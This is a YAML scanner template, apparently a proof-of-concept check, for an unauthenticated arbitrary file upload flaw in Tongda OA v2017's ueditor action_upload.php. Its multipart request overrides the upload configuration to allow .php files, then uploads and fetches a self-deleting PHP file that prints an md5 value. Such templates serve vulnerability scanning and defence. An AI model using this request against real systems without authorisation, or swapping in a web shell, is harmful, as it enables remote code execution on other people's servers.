tongda-v2017-uploadfile: 通达OA v2017 action_upload.php 任意文件上传漏洞

id: tongda-v2017-uploadfile

info:
  name: 通达OA v2017 action_upload.php 任意文件上传漏洞
  author: zan8in
  severity: critical
  verified: true
  description: |
    通达OA v2017 action_upload.php 文件过滤不足且无需后台权限，导致任意文件上传漏洞
    app="TDXK-通达OA"
  reference:
    - http://wiki.peiqi.tech/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v2017%20action_upload.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.html

set:
  randstr: randomLowercase(6)
  num: randomInt(1000, 10000)
  rboundary: randomLowercase(8)
rules:
  r0:
    request:
      method: POST
      path: /module/ueditor/php/action_upload.php?action=uploadfile
      headers:
        Content-Type: multipart/form-data; boundary=----------WebKitFormBoundary{{rboundary}}
      body: "\
        ------------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"CONFIG[fileFieldName]\"\r\n\
        \r\n\
        ffff\r\n\
        ------------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"CONFIG[fileMaxSize]\"\r\n\
        \r\n\
        1000000000\r\n\
        ------------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"CONFIG[filePathFormat]\"\r\n\
        \r\n\
        {{randstr}}\r\n\
        ------------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"CONFIG[fileAllowFiles][]\"\r\n\
        \r\n\
        .php\r\n\
        ------------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"ffff\"; filename=\"test.php\"\r\n\
        Content-Type: application/octet-stream\r\n\
        \r\n\
        <?php echo md5({{num}});unlink(__FILE__);?>\r\n\
        ------------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"mufile\"\r\n\
        \r\n\
        submit\r\n\
        ------------WebKitFormBoundary{{rboundary}}--\r\n\
        "
    expression: response.status == 200
  r1:
    request:
      method: GET
      path: /{{randstr}}.php
    expression: response.status == 200 && response.body.bcontains(bytes(md5(string(num))))
expression: r0() && r1()